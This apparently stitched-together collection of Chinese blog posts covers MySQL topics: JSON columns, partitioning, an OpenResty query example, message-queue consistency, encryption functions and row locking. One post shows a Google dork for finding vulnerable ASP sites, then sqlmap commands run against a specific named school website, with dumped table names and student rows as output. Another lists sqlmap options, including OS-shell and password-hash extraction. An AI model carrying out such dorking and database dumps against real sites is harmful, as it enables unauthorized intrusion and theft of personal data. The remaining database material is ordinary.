MySQL JSON数据类型操作

概述

mysql自5.7.8版本开始,就支持了json结构的数据存储和查询,这表明了mysql也在不断的学习和增加nosql数据库的有点。但mysql毕竟是关系型数据库,在处理json这种非结构化的数据时,还是比较别扭的。

创建一个JSON字段的表

首先先创建一个表,这个表包含一个json格式的字段:

CREATE TABLE table_name (
    id INT NOT NULL AUTO_INCREMENT, 
    json_col JSON,
    PRIMARY KEY(id)
);

上面的语句,主要注意json_col这个字段,指定的数据类型是JSON。

插入一条简单的JSON数据

INSERT INTO
    table_name (json_col) 
VALUES
    ('{"City": "Galle", "Description": "Best damn city in the world"}');

上面这个SQL语句,主要注意VALUES后面的部分,由于json格式的数据里,需要有双引号来标识字符串,所以,VALUES后面的内容需要用单引号包裹。

插入一条复杂的JSON数据

INSERT INTO table(col) 
VALUES('{"opening":"Sicilian","variations":["pelikan","dragon","najdorf"]}');

这地方,我们插入了一个json数组。主要还是注意单引号和双引号的问题。

修改JSON数据

之前的例子中,我们插入了几条JSON数据,但是如果我们想修改JSON数据里的某个内容,怎么实现了?比如我们向 variations 数组里增加一个元素,可以这样:

UPDATE myjson SET dict=JSON_ARRAY_APPEND(dict,'$.variations','scheveningen') WHERE id = 2;

这个SQL语句中,$符合代表JSON字段,通过.号索引到variations字段,然后通过JSON_ARRAY_APPEND函数增加一个元素。现在我们执行查询语句:

SELECT * FROM myjson

得到的结果是:

+----+-----------------------------------------------------------------------------------------+
| id | dict                                                                                    |
+---+-----------------------------------------------------------------------------------------+
| 2  | {"opening": "Sicilian", "variations": ["pelikan", "dragon", "najdorf", "scheveningen"]} |
+----+-----------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

关于MySQL中,JSON数据的获取方法,参照官方链接JSON Path Syntax

创建索引

MySQL的JSON格式数据不能直接创建索引,但是可以变通一下,把要搜索的数据单独拎出来,单独一个数据列,然后在这个字段上键一个索引。下面是官方的例子:

mysql> CREATE TABLE jemp (
    ->     c JSON,
    ->     g INT GENERATED ALWAYS AS (c->"$.id"),
    ->     INDEX i (g)
    -> );
Query OK, 0 rows affected (0.28 sec)

mysql> INSERT INTO jemp (c) VALUES
     >   ('{"id": "1", "name": "Fred"}'), ('{"id": "2", "name": "Wilma"}'),
     >   ('{"id": "3", "name": "Barney"}'), ('{"id": "4", "name": "Betty"}');
Query OK, 4 rows affected (0.04 sec)
Records: 4  Duplicates: 0  Warnings: 0

mysql> SELECT c->>"$.name" AS name
     >     FROM jemp WHERE g > 2;
+--------+
| name   |
+--------+
| Barney |
| Betty  |
+--------+
2 rows in set (0.00 sec)

mysql> EXPLAIN SELECT c->>"$.name" AS name
     >    FROM jemp WHERE g > 2\G
*************************** 1. row ***************************
           id: 1
  select_type: SIMPLE
        table: jemp
   partitions: NULL
         type: range
possible_keys: i
          key: i
      key_len: 5
          ref: NULL
         rows: 2
     filtered: 100.00
        Extra: Using where
1 row in set, 1 warning (0.00 sec)

mysql> SHOW WARNINGS\G
*************************** 1. row ***************************
  Level: Note
   Code: 1003
Message: /* select#1 */ select json_unquote(json_extract(`test`.`jemp`.`c`,'$.name'))
AS `name` from `test`.`jemp` where (`test`.`jemp`.`g` > 2)
1 row in set (0.00 sec)

这个例子很简单,就是把JSON字段里的id字段,单独拎出来成字段g,然后在字段g上做索引,查询条件也是在字段g上。

字符串转JSON格式

把json格式的字符串转换成MySQL的JSON类型:

SELECT CAST('[1,2,3]' as JSON) ;
SELECT CAST('{"opening":"Sicilian","variations":["pelikan","dragon","najdorf"]}' as JSON);

所有MYSQL JSON函数

Name Description
JSON_APPEND() Append data to JSON document
JSON_ARRAY() Create JSON array
JSON_ARRAY_APPEND() Append data to JSON document
JSON_ARRAY_INSERT() Insert into JSON array-> Return value from JSON column after evaluating path; equivalent to JSON_EXTRACT().
JSON_CONTAINS() Whether JSON document contains specific object at path
JSON_CONTAINS_PATH() Whether JSON document contains any data at path
JSON_DEPTH() Maximum depth of JSON document
JSON_EXTRACT() Return data from JSON document->> Return value from JSON column after evaluating path and unquoting the result; equivalent to JSON_UNQUOTE(JSON_EXTRACT()).
JSON_INSERT() Insert data into JSON document
JSON_KEYS() Array of keys from JSON document
JSON_LENGTH() Number of elements in JSON document
JSON_MERGE() Merge JSON documents, preserving duplicate keys. Deprecated synonym for JSON_MERGE_PRESERVE()
JSON_MERGE_PRESERVE() Merge JSON documents, preserving duplicate keys
JSON_OBJECT() Create JSON object
JSON_QUOTE() Quote JSON document
JSON_REMOVE() Remove data from JSON document
JSON_REPLACE() Replace values in JSON document
JSON_SEARCH() Path to value within JSON document
JSON_SET() Insert data into JSON document
JSON_TYPE() Type of JSON value
JSON_UNQUOTE() Unquote JSON value
JSON_VALID() Whether JSON value is valid

[转]mysql分区表的原理和优缺点

1.分区表的原理

分区表是由多个相关的底层表实现,这些底层表也是由句柄对象表示,所以我们也可以直接访问各个分区,存储引擎管理分区的各个底层表和管理普通表一样(所有的底层表都必须使用相同的存储引擎),分区表的索引只是在各个底层表上各自加上一个相同的索引,从存储引擎的角度来看,底层表和一个普通表没有任何不同,存储引擎也无须知道这是一个普通表还是一个分区表的一部分。

 

在分区表上的操作按照下面的操作逻辑进行:

select查询:

当查询一个分区表的时候,分区层先打开并锁住所有的底层表,优化器判断是否可以过滤部分分区,然后再调用对应的存储引擎接口访问各个分区的数据

insert操作:

当写入一条记录时,分区层打开并锁住所有的底层表,然后确定哪个分区接受这条记录,再将记录写入对应的底层表

delete操作:

当删除一条记录时,分区层先打开并锁住所有的底层表,然后确定数据对应的分区,最后对相应底层表进行删除操作

update操作:

当更新一条数据时,分区层先打开并锁住所有的底层表,mysql先确定需要更新的记录在哪个分区,然后取出数据并更新,再判断更新后的数据应该放在哪个分区,然后对底层表进行写入操作,并对原数据所在的底层表进行删除操作

 

虽然每个操作都会打开并锁住所有的底层表,但这并不是说分区表在处理过程中是锁住全表的,如果存储引擎能够自己实现行级锁,如:innodb,则会在分区层释放对应的表锁,这个加锁和解锁过程与普通Innodb上的查询类似。

 

 

2.在下面的场景中,分区可以起到非常大的作用:

A:表非常大以至于无法全部都放在内存中,或者只在表的最后部分有热点数据,其他都是历史数据

B:分区表的数据更容易维护,如:想批量删除大量数据可以使用清除整个分区的方式。另外,还可以对一个独立分区进行优化、检查、修复等操作

C:分区表的数据可以分布在不同的物理设备上,从而高效地利用多个硬件设备

D:可以使用分区表来避免某些特殊的瓶颈,如:innodb的单个索引的互斥访问,ext3文件系统的inode锁竞争等

E:如果需要,还可以备份和恢复独立的分区,这在非常大的数据集的场景下效果非常好

F:优化查询,在where字句中包含分区列时,可以只使用必要的分区来提高查询效率,同时在涉及sum()和count()这类聚合函数的查询时,可以在每个分区上面并行处理,最终只需要汇总所有分区得到的结果。

 

 

3.分区本身也有一些限制:

A:一个表最多只能有1024个分区(mysql5.6之后支持8192个分区)

B:在mysql5.1中分区表达式必须是整数,或者是返回整数的表达式,在5.5之后,某些场景可以直接使用字符串列和日期类型列来进行分区(使用varchar字符串类型列时,一般还是字符串的日期作为分区)。

C:如果分区字段中有主键或者唯一索引列,那么所有主键列和唯一索引列都必须包含进来,如果表中有主键或唯一索引,那么分区键必须是主键或唯一索引

D:分区表中无法使用外键约束

E:mysql数据库支持的分区类型为水平分区,并不支持垂直分区,因此,mysql数据库的分区中索引是局部分区索引,一个分区中既存放了数据又存放了索引,而全局分区是指的数据库放在各个分区中,但是所有的数据的索引放在另外一个对象中

F:目前mysql不支持空间类型和临时表类型进行分区。不支持全文索引

 

 

4.子分区的建立需要注意以下几个问题:

A:每个子分区的数量必须相同

B:只要在一个分区表的任何分区上使用subpartition来明确定义任何子分区,就必须在所有分区上定义子分区,不能漏掉一些分区不进行子分区。

C:每个subpartition子句必须包括子分区的一个名字

D:子分区的名字必须是唯一的,不能在一张表中出现重名的子分区

E:mysql数据库的分区总是把null当作比任何非null更小的值,这和数据库中处理null值的order by操作是一样的,升序排序时null总是在最前面,因此对于不同的分区类型,mysql数据库对于null的处理也各不相同。对于range分区,如果向分区列插入了null,则mysql数据库会将该值放入最左边的分区,注意,如果删除分区,分区下的所有内容都从磁盘中删掉了,null所在分区被删除,null值也就跟着被删除了。在list分区下要使用null,则必须显式地定义在分区的散列值中,否则插入null时会报错。hash和key分区对于null的处理方式和range,list分区不一样,任何分区函数都会将null返回为0.

一个简单的sql注入实例

很多老的asp网站存在sql注入,google上搜 :inurl:TeachView.asp  会有很多小网站存在这个问题,下面进行一个简单的演示。

使用工具sqlmap

sqlmap -u http://www.lcztxx.com/TeachView.asp?id=23 进行sql注入尝试

sqlmap -u http://www.lcztxx.com/TeachView.asp?id=23 –tables 展示所有的数据库表

Database: Microsoft_Access_masterdb
[6 tables]
+———-+
| admin |
| feedback |
| menu |
| news |
| school |
| student |
+———-+

sqlmap -u http://www.lcztxx.com/TeachView.asp?id=23 –dump 尝试脱库操作。

[20:46:17] [INFO] retrieved: id
[20:46:18] [INFO] retrieved: title
[20:47:12] [INFO] retrieved: cname
[20:48:03] [INFO] retrieved: content
[20:49:19] [INFO] retrieved: num

[20:51:59] [INFO] fetching entries for table ‘student’ in database ‘Microsoft_Access_masterdb’
[20:51:59] [INFO] fetching number of entries for table ‘student’ in database ‘Microsoft_Access_masterdb’
[20:51:59] [INFO] retrieved: 9
[20:52:05] [INFO] fetching number of distinct values for column ‘id’
[20:52:05] [INFO] retrieved: 9
[20:52:11] [INFO] using column ‘id’ as a pivot for retrieving row data
[20:52:11] [INFO] retrieved: 10
[20:52:20] [INFO] retrieved: 470
[20:52:30] [INFO] retrieved: Student
[20:52:51] [INFO] retrieved:
[20:52:51] [INFO] retrieved: <img src=”../upload/2014611528324449954.jpg”

速度有点慢 就不进行了…

[openresty]第二节:操作mysql数据库

openresty操作数据库本质上调用了lua-resty-mysql 组件

具体参照git:https://github.com/openresty/lua-resty-mysql#table-of-contents

同样的在/usr/local/openresty/work/conf/ 文件夹下添加新的文件mysql.conf

内容如下:


worker_processes 1;
error_log logs/error.log;
events {
worker_connections 1024;
}
http {
server {
listen 8089;
server_name localhost;
location / {
content_by_lua '
local arg = ngx.req.get_uri_args()
local mysql = require "resty.mysql"
local db, err = mysql:new()
if not db then
ngx.say("failed to instantiate mysql: ", err)
return
end

db:set_timeout(1000) -- 1 sec
local ok, err, errcode, sqlstate = db:connect{
host = "127.0.0.1",
port = 3306,
database = "test",
user = "xxxx",
password = "xxxxxxx",
max_packet_size = 1024 * 1024 }

if not ok then
ngx.say("failed to connect: ", err, ": ", errcode, " ", sqlstate)
return
end

--ngx.say("connected to mysql.")
local id = tonumber(arg.id)
queryStr = "select goods_id,goods_name from goods_test where goods_id ="..id
--ngx.say(queryStr)
res, err, errcode, sqlstate =
--db:query("select * from goods_test order by goods_id asc", 10)
db:query(queryStr)
if not res then
ngx.say("bad result: ", err, ": ", errcode, ": ", sqlstate, ".")
return
end
local cjson = require "cjson"
ngx.say("result: ", cjson.encode(res))
';
}

}
}

是不是很简单,然后../nginx/sbin/nginx -p `pwd`/ -s reload -c conf/mysql.conf

重新加载配置文件,这样访问localhost:8089?id=1 就可以筛选数据库中主键ID=1的数据了。应该有mysql注入问题,所以参数全部转化为int类型,基本的网络安全意识不能没有。

 

[SQL注入]使用sqlmap进行简单的mysql注入

最近使用了sqlmap进行了简单的操作。现在先说明sqlmap的一些参数:

  1. #HiRoot’s Blog
  2. Options(选项):
  3. –version 显示程序的版本号并退出
  4. -h, –help 显示此帮助消息并退出
  5. -v VERBOSE 详细级别:0-6(默认为1)
  6. Target(目标):
  7. 以下至少需要设置其中一个选项,设置目标URL。
  8. -d DIRECT 直接连接到数据库。
  9. -u URL, –url=URL 目标URL。
  10. -l LIST 从Burp或WebScarab代理的日志中解析目标。
  11. -r REQUESTFILE 从一个文件中载入HTTP请求。
  12. -g GOOGLEDORK 处理Google dork的结果作为目标URL。
  13. -c CONFIGFILE 从INI配置文件中加载选项。
  14. Request(请求):
  15. 这些选项可以用来指定如何连接到目标URL。
  16. –data=DATA 通过POST发送的数据字符串
  17. –cookie=COOKIE HTTP Cookie头
  18. –cookie-urlencode URL 编码生成的cookie注入
  19. –drop-set-cookie 忽略响应的Set – Cookie头信息
  20. –user-agent=AGENT 指定 HTTP User – Agent头
  21. –random-agent 使用随机选定的HTTP User – Agent头
  22. –referer=REFERER 指定 HTTP Referer头
  23. –headers=HEADERS 换行分开,加入其他的HTTP头
  24. –auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
  25. –auth-cred=ACRED HTTP身份验证凭据(用户名:密码)
  26. –auth-cert=ACERT HTTP认证证书(key_file,cert_file)
  27. –proxy=PROXY 使用HTTP代理连接到目标URL
  28. –proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)
  29. –ignore-proxy 忽略系统默认的HTTP代理
  30. –delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒
  31. –timeout=TIMEOUT 等待连接超时的时间(默认为30秒)
  32. –retries=RETRIES 连接超时后重新连接的时间(默认3)
  33. –scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
  34. –safe-url=SAFURL 在测试过程中经常访问的url地址
  35. –safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL
  36. Optimization(优化):
  37. 这些选项可用于优化SqlMap的性能。
  38. -o 开启所有优化开关
  39. –predict-output 预测常见的查询输出
  40. –keep-alive 使用持久的HTTP(S)连接
  41. –null-connection 从没有实际的HTTP响应体中检索页面长度
  42. –threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
  43. Injection(注入):
  44. 这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。
  45. -p TESTPARAMETER 可测试的参数(S)
  46. –dbms=DBMS 强制后端的DBMS为此值
  47. –os=OS 强制后端的DBMS操作系统为这个值
  48. –prefix=PREFIX 注入payload字符串前缀
  49. –suffix=SUFFIX 注入payload字符串后缀
  50. –tamper=TAMPER 使用给定的脚本(S)篡改注入数据
  51. Detection(检测):
  52. 这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。
  53. –level=LEVEL 执行测试的等级(1-5,默认为1)
  54. –risk=RISK 执行测试的风险(0-3,默认为1)
  55. –string=STRING 查询时有效时在页面匹配字符串
  56. –regexp=REGEXP 查询时有效时在页面匹配正则表达式
  57. –text-only 仅基于在文本内容比较网页
  58. Techniques(技巧):
  59. 这些选项可用于调整具体的SQL注入测试。
  60. –technique=TECH SQL注入技术测试(默认BEUST)
  61. –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
  62. –union-cols=UCOLS 定列范围用于测试UNION查询注入
  63. –union-char=UCHAR 用于暴力猜解列数的字符
  64. Fingerprint(指纹):
  65. -f, –fingerprint 执行检查广泛的DBMS版本指纹
  66. Enumeration(枚举):
  67. 这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己
  68. 的SQL语句。
  69. -b, –banner 检索数据库管理系统的标识
  70. –current-user 检索数据库管理系统当前用户
  71. –current-db 检索数据库管理系统当前数据库
  72. –is-dba 检测DBMS当前用户是否DBA
  73. –users 枚举数据库管理系统用户
  74. –passwords 枚举数据库管理系统用户密码哈希
  75. –privileges 枚举数据库管理系统用户的权限
  76. –roles 枚举数据库管理系统用户的角色
  77. –dbs 枚举数据库管理系统数据库
  78. –tables 枚举的DBMS数据库中的表
  79. –columns 枚举DBMS数据库表列
  80. –dump 转储数据库管理系统的数据库中的表项
  81. –dump-all 转储所有的DBMS数据库表中的条目
  82. –search 搜索列(S),表(S)和/或数据库名称(S)
  83. -D DB 要进行枚举的数据库名
  84. -T TBL 要进行枚举的数据库表
  85. -C COL 要进行枚举的数据库列
  86. -U USER 用来进行枚举的数据库用户
  87. –exclude-sysdbs 枚举表时排除系统数据库
  88. –start=LIMITSTART 第一个查询输出进入检索
  89. –stop=LIMITSTOP 最后查询的输出进入检索
  90. –first=FIRSTCHAR 第一个查询输出字的字符检索
  91. –last=LASTCHAR 最后查询的输出字字符检索
  92. –sql-query=QUERY 要执行的SQL语句
  93. –sql-shell 提示交互式SQL的shell
  94. Brute force(蛮力):
  95. 这些选项可以被用来运行蛮力检查。
  96. –common-tables 检查存在共同表
  97. –common-columns 检查存在共同列
  98. User-defined function injection(用户自定义函数注入):
  99. 这些选项可以用来创建用户自定义函数。
  100. –udf-inject 注入用户自定义函数
  101. –shared-lib=SHLIB 共享库的本地路径
  102. File system access(访问文件系统):
  103. 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
  104. –file-read=RFILE 从后端的数据库管理系统文件系统读取文件
  105. –file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
  106. –file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
  107. Operating system access(操作系统访问):
  108. 这些选项可以用于访问后端数据库管理系统的底层操作系统。
  109. –os-cmd=OSCMD 执行操作系统命令
  110. –os-shell 交互式的操作系统的shell
  111. –os-pwn 获取一个OOB shell,meterpreter或VNC
  112. –os-smbrelay 一键获取一个OOB shell,meterpreter或VNC
  113. –os-bof 存储过程缓冲区溢出利用
  114. –priv-esc 数据库进程用户权限提升
  115. –msf-path=MSFPATH Metasploit Framework本地的安装路径
  116. –tmp-path=TMPPATH 远程临时文件目录的绝对路径
  117. Windows注册表访问:
  118. 这些选项可以被用来访问后端数据库管理系统Windows注册表。
  119. –reg-read 读一个Windows注册表项值
  120. –reg-add 写一个Windows注册表项值数据
  121. –reg-del 删除Windows注册表键值
  122. –reg-key=REGKEY Windows注册表键
  123. –reg-value=REGVAL Windows注册表项值
  124. –reg-data=REGDATA Windows注册表键值数据
  125. –reg-type=REGTYPE Windows注册表项值类型
  126. General(一般):
  127. 这些选项可以用来设置一些一般的工作参数。
  128. -t TRAFFICFILE 记录所有HTTP流量到一个文本文件中
  129. -s SESSIONFILE 保存和恢复检索会话文件的所有数据
  130. –flush-session 刷新当前目标的会话文件
  131. –fresh-queries 忽略在会话文件中存储的查询结果
  132. –eta 显示每个输出的预计到达时间
  133. –update 更新SqlMap
  134. –save file保存选项到INI配置文件
  135. –batch 从不询问用户输入,使用所有默认配置。
  136. Miscellaneous(杂项):
  137. –beep 发现SQL注入时提醒
  138. –check-payload IDS对注入payloads的检测测试
  139. –cleanup SqlMap具体的UDF和表清理DBMS
  140. –forms 对目标URL的解析和测试形式
  141. –gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果
  142. –page-rank Google dork结果显示网页排名(PR)
  143. –parse-errors 从响应页面解析数据库管理系统的错误消息
  144. –replicate 复制转储的数据到一个sqlite3数据库
  145. –tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
  146. –wizard 给初级用户的简单向导界面
  147. //–http://blog.csdn.net/ghosttzs–//

举例

python sqlmap.py -u “http://www.xxx.com?id=1” –level=5 –dbs

会使用最高优获取数据库表

 

sqlmap的下载文件:https://pan.baidu.com/s/1dFmhV2L

Unit mysqld.service failed to load: No such file or directory.

Fedora 19 之后通过MariaDB代替mysql了

First, MySQL was replaced by MariaDB since Fedora 19 (http://fedoraproject.org/wiki/Features/ReplaceMySQLwithMariaDB).

To install MariaDB Server you have to execute the following command:

yum install mariadb mariadb-server

To start MariaDB on Fedora 20, execute the following command:

systemctl start mariadb.service

To autostart MariaDB on Fedora 20, execute the following command:

systemctl enable mariadb.service

After you started MariaDB (do this only once), execute the following command:

/usr/bin/mysql_secure_installation

This command will ask you some inputs to set root password, remove anonymous users, disallow root login remotely, remove test database and reload privilege tables.

[转]如何用消息系统避免分布式事务?

前阵子从支付宝转账1万块钱到余额宝,这是日常生活的一件普通小事,但作为互联网研发人员的职业病,我就思考支付宝扣除1万之后,如果系统挂掉怎么办,这时余额宝账户并没有增加1万,数据就会出现不一致状况了。

上述场景在各个类型的系统中都能找到相似影子,比如在电商系统中,当有用户下单后,除了在订单表插入一条记录外,对应商品表的这个商品数量必须减1吧,怎么保证?!在搜索广告系统中,当用户点击某广告后,除了在点击事件表中增加一条记录外,还得去商家账户表中找到这个商家并扣除广告费吧,怎么保证?!等等,相信大家或多或多少都能碰到相似情景。

本质上问题可以抽象为:当一个表数据更新后,怎么保证另一个表的数据也必须要更新成功。

1 本地事务

还是以支付宝转账余额宝为例,假设有

  • 支付宝账户表:A(id,userId,amount)
  • 余额宝账户表:B(id,userId,amount)
  • 用户的userId=1;

从支付宝转账1万块钱到余额宝的动作分为两步:

  • 1)支付宝表扣除1万:update A set amount=amount-10000 where userId=1;
  • 2)余额宝表增加1万:update B set amount=amount+10000 where userId=1;

如何确保支付宝余额宝收支平衡呢?

有人说这个很简单嘛,可以用事务解决。

非常正确,如果你使用spring的话一个注解就能搞定上述事务功能。

如果系统规模较小,数据表都在一个数据库实例上,上述本地事务方式可以很好地运行,但是如果系统规模较大,比如支付宝账户表和余额宝账户表显然不会在同一个数据库实例上,他们往往分布在不同的物理节点上,这时本地事务已经失去用武之地。

既然本地事务失效,分布式事务自然就登上舞台。

2 分布式事务—两阶段提交协议

两阶段提交协议(Two-phase Commit,2PC)经常被用来实现分布式事务。一般分为协调器C和若干事务执行者Si两种角色,这里的事务执行者就是具体的数据库,协调器可以和事务执行器在一台机器上。

1) 我们的应用程序(client)发起一个开始请求到TC;

2) TC先将<prepare>消息写到本地日志,之后向所有的Si发起<prepare>消息。以支付宝转账到余额宝为例,TC给A的prepare消息是通知支付宝数据库相应账目扣款1万,TC给B的prepare消息是通知余额宝数据库相应账目增加1w。为什么在执行任务前需要先写本地日志,主要是为了故障后恢复用,本地日志起到现实生活中凭证 的效果,如果没有本地日志(凭证),出问题容易死无对证;

3) Si收到<prepare>消息后,执行具体本机事务,但不会进行commit,如果成功返回<yes>,不成功返回<no>。同理,返回前都应把要返回的消息写到日志里,当作凭证。

4) TC收集所有执行器返回的消息,如果所有执行器都返回yes,那么给所有执行器发生送commit消息,执行器收到commit后执行本地事务的commit操作;如果有任一个执行器返回no,那么给所有执行器发送abort消息,执行器收到abort消息后执行事务abort操作。

注:TC或Si把发送或接收到的消息先写到日志里,主要是为了故障后恢复用。如某一Si从故障中恢复后,先检查本机的日志,如果已收到<commit >,则提交,如果<abort >则回滚。如果是<yes>,则再向TC询问一下,确定下一步。如果什么都没有,则很可能在<prepare>阶段Si就崩溃了,因此需要回滚。

现如今实现基于两阶段提交的分布式事务也没那么困难了,如果使用java,那么可以使用开源软件atomikos(http://www.atomikos.com/)来快速实现。

不过但凡使用过的上述两阶段提交的同学都可以发现性能实在是太差,根本不适合高并发的系统。为什么?

  • 1)两阶段提交涉及多次节点间的网络通信,通信时间太长!
  • 2)事务时间相对于变长了,锁定的资源的时间也变长了,造成资源等待时间也增加好多!

正是由于分布式事务存在很严重的性能问题,大部分高并发服务都在避免使用,往往通过其他途径来解决数据一致性问题。

3 使用消息队列来避免分布式事务

如果仔细观察生活的话,生活的很多场景已经给了我们提示。

比如在北京很有名的姚记炒肝点了炒肝并付了钱后,他们并不会直接把你点的炒肝给你,而是给你一张小票,然后让你拿着小票到出货区排队去取。为什么他们要将付钱和取货两个动作分开呢?原因很多,其中一个很重要的原因是为了使他们接待能力增强(并发量更高)。

还是回到我们的问题,只要这张小票在,你最终是能拿到炒肝的。同理转账服务也是如此,当支付宝账户扣除1万后,我们只要生成一个凭证(消息)即可,这个凭证(消息)上写着“让余额宝账户增加 1万”,只要这个凭证(消息)能可靠保存,我们最终是可以拿着这个凭证(消息)让余额宝账户增加1万的,即我们能依靠这个凭证(消息)完成最终一致性。

3.1 如何可靠保存凭证(消息)

有两种方法:

3.1.1 业务与消息耦合的方式

支付宝在完成扣款的同时,同时记录消息数据,这个消息数据与业务数据保存在同一数据库实例里(消息记录表表名为message)。

上述事务能保证只要支付宝账户里被扣了钱,消息一定能保存下来。

当上述事务提交成功后,我们通过实时消息服务将此消息通知余额宝,余额宝处理成功后发送回复成功消息,支付宝收到回复后删除该条消息数据。

3.1.2 业务与消息解耦方式

上述保存消息的方式使得消息数据和业务数据紧耦合在一起,从架构上看不够优雅,而且容易诱发其他问题。为了解耦,可以采用以下方式。

1)支付宝在扣款事务提交之前,向实时消息服务请求发送消息,实时消息服务只记录消息数据,而不真正发送,只有消息发送成功后才会提交事务;

2)当支付宝扣款事务被提交成功后,向实时消息服务确认发送。只有在得到确认发送指令后,实时消息服务才真正发送该消息;

3)当支付宝扣款事务提交失败回滚后,向实时消息服务取消发送。在得到取消发送指令后,该消息将不会被发送;

4)对于那些未确认的消息或者取消的消息,需要有一个消息状态确认系统定时去支付宝系统查询这个消息的状态并进行更新。为什么需要这一步骤,举个例子:假设在第2步支付宝扣款事务被成功提交后,系统挂了,此时消息状态并未被更新为“确认发送”,从而导致消息不能被发送。

优点:消息数据独立存储,降低业务系统与消息系统间的耦合;

缺点:一次消息发送需要两次请求;业务处理服务需要实现消息状态回查接口。

3.2 如何解决消息重复投递的问题

还有一个很严重的问题就是消息重复投递,以我们支付宝转账到余额宝为例,如果相同的消息被重复投递两次,那么我们余额宝账户将会增加2万而不是1万了。

为什么相同的消息会被重复投递?比如余额宝处理完消息msg后,发送了处理成功的消息给支付宝,正常情况下支付宝应该要删除消息msg,但如果支付宝这时候悲剧的挂了,重启后一看消息msg还在,就会继续发送消息msg。

解决方法很简单,在余额宝这边增加消息应用状态表(message_apply),通俗来说就是个账本,用于记录消息的消费情况,每次来一个消息,在真正执行之前,先去消息应用状态表中查询一遍,如果找到说明是重复消息,丢弃即可,如果没找到才执行,同时插入到消息应用状态表(同一事务)。

ebay的研发人员其实在2008年就提出了应用消息状态确认表来解决消息重复投递的问题:http://queue.acm.org/detail.cfm?id=1394128

[转]mysql加密解密函数

在MySQL中,加密和压缩函数返回二进制串。对其中的许多函数而言,结果可能包含任意的字节值,如果想存储这些结果,你应该使用一个具有varbinary或者blob二进制串数据类型的列,这可避免潜在的删除尾部空白问题或者字符集转换问题。这些问题可能导致数据值的改变。一般而言,上述问题可能在你使用非二进制串数据类型(如char,varchar,text等数据类型)的情况下发生。

  • AES_ENCRYPT()和AES_DECRYPT()

AES_ENCRYPT()和AES_DECRYPT()可以加密/解密使用官方AES算法的数据。该算法使用128位密钥来编码,但用户可以将其扩展到256位。MySQL选用128位密钥,因为这样算法实现更快,而且对大多数用户而言它也足够安全了。

AES_ENCRYPT(str,key_str)函数加密一个字符串并返回一个二进制串。AES_DECRYPT(crypt_str, key_str)函数可以解密使用官方AES(Advanced Encryption Standard)算法加密的数据并返回原有字符串,输入变量可以是任意长度。如果输入变量为NULL,那么该函数返回结果也为NULL。

因为AES是一个块级算法,需要使用补白来编码非偶数长度的字符串。

  • ENCODE()和DECODE()

ENCODE(str, pass_str):该函数使用pass_str作为密码来加密字符串str,其加密的结果可以通过DECODE()函数来解密。该函数返回的结果是一个同str等长。DECODE(crypt_str, pass_str):该函数使用pass_str作为密码来解密使用ENCODE()加密后的字符串crypt_str。

  • DES_ENCRYPT()和DES_ENCRYPT()

DES_ENCRYPT(str[, {key_num|key_str}]):该函数使用三重DES算法连同给定的密钥来加密加密字符串。
DES_DECRYPT(crypt_str[, key_str]):该函数解密一个通过DES_ENCRYPT()加密的字符串,如果出现错误,该函数返回NULL。

  • COMPRESS()和UNCOMPRESS()

COMPRESS(string_to_compress):该函数压缩一个字符串并且返回一个二进制串。该函数需要MySQL已连同一个压缩库一块编译,比如zlib,否则该函数的返回值总为NULL。压缩后的字符串可以通过UNCOMPRESS()函数来解压缩。UNCOMPRESS(string_to_uncompress):该函数解压缩一个通过COMPRESS()函数压缩的字符串。如果变量不是一个压缩值,则结果返回为NULL。

  • PASSWORD()

PASSWORD(str):该函数用来加密存储在user表中password列的MySQL密码。PASSWORD()函数由MySQL服务器中的认证系统使用,用户不应该在自己的应用中使用该函数。如果需要使用加密函数,可以考虑使用MD5()或者SHA1()来代替。

其加密结果示例如下:

在MySQL的系统数据库mysql的user表中,有一个名为Password的列,其中保存由password函数加密后的user的密码数据。如下所示:

  • ENCRYPT()

ENCRYPT(str[, salt]):该函数通过使用Unix crypt()系统调用来加密str,并返回一个二进制串。其中,salt变量应该是一个包含多于两个字符的字符串。如果salt没有给定,则使用一个随机值。如果crypt()系统调用在用户的操作系统上不可用(Windows操作系统便如此),该函数返回为NULL。

  • MD5()

MD5(str):该函数计算一个字符串的128位MD5校验和,返回的结果是由32个十六进制数字组成的二进制串。如果变量为NULL,则返回为NULL。

其加密结果示例如下:

  • SHA1()/SHA():

SHA1(str)/SHA(str)函数计算字符串str的160位SHA-1校验和。返回值是一个由40个十六进制数字组成的二进制串。如果变量为NULL,则返回NULL。

 

参考:https://dev.mysql.com/doc/refman/5.5/en/encryption-functions.html

mysql 某列指定值靠前排序

单个列靠前排序:

MySQL 某列指定值靠前排序  order by case

SELECT * FROM `jcxsw`.`t_company_product` order by (
case
when id=263 then 1 ELSE 4 END),category_id desc;

这段sql代码 会先排列id =263的额数据 然后 根据category_id倒叙

多个列靠前排序:

SELECT * FROM `web_membersfastsort_women` m  order by  m.province<>’10106000′ , m.city<>’10106001′ ,m.city desc,m.province desc,m.s_cid asc, m.images_ischeck desc,m.pic_num desc limit 2000,30

province =10106000 的 靠前排,在province = 10106000 中   city=10106001 的靠前排

[转]关于mysql事务行锁for update实现写锁的功能

在电子商务里,经常会出现库存数量少,购买的人又特别多,大并发情况下如何确保商品数量不会被多次购买.

其实很简单,利用事务+for update就可以解决.

我们都知道for update实际上是共享锁,是可以被读取的.但是如何在执行时,不被读取呢.

简单来说:假设现在库存为1,现在有A和B同时购买

先开启一个事务

begin;

select stock from good where id=1 for update;//查询good表某个商品中stock的数量

查出来后,在程序里在判断这个stock是否为0(你用什么语言,不关我事)

最后在执行

update good set stock=stock-1 where id=1

最后在

commit

但是这个时候B也是select stock from good where id=1 for update;注意:for update不能省略..这个时候会出现被锁住,无法被读取.

